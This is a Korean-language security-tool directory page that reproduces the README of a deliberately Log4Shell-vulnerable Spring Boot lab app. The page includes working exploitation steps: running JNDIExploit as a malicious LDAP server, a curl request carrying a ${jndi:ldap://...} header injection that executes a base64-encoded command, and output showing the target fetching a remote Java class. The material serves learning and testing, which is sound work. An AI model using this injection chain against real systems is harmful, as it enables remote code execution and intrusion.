Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4shell-vulnerable-app — Log4Shell(CVE-2021-44228)에 취약한 Spring Boot 웹 애플리케이션. | Kitploit
도구/GitHubGitHub/christophetd/log4shell-vulnerable-app
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubchristophetd/log4shell-vulnerable-app

log4shell-vulnerable-app

Log4Shell(CVE-2021-44228)에 취약한 Spring Boot 웹 애플리케이션.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
1.1k552453년 전Kitploit 검토 완료

Log4Shell 샘플 취약 애플리케이션 (CVE-2021-44228)

이 저장소는 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 포함합니다. 이 취약점은 Log4Shell로 알려져 있습니다.

Log4j 2.14.1 (spring-boot-starter-log4j2 2.6.1을 통해)과 JDK 1.8.0_181을 사용합니다.

애플리케이션 실행

다음 명령어로 실행하세요:

root@kitploit:~
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

익스플로잇 단계

참고: 이 내용은 원본 LunaSec 권고에서 크게 영감을 받았습니다. 자신의 책임 하에 실행하세요. 가급적 샌드박스 환경의 VM에서 실행하십시오.

업데이트 (12월 13일): JNDIExploit 저장소가 GitHub에서 제거되었습니다 (아마도 GitHub에 의한 것은 아님)... 여기를 클릭하여 Wayback Machine에 캐시된 버전 다운로드.

  • JNDIExploit를 사용하여 악성 LDAP 서버를 실행합니다.
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
  • 그런 다음 다음 명령어로 익스플로잇을 트리거하세요:
root@kitploit:~
# 'touch /tmp/pwned'를 실행합니다
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • JNDIExploit의 출력에서 악성 LDAP 응답을 보내고 2단계 페이로드를 제공했음을 확인할 수 있습니다:
root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
  • 코드 실행이 성공했는지 확인하려면 취약 애플리케이션이 실행 중인 컨테이너에 /tmp/pwned.txt 파일이 생성되었는지 확인하세요:
root@kitploit:~
$ docker exec vulnerable-app ls /tmp
...
pwned
...

참고

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

기여자

@christophetd @rayhan0x01

도구 다운로드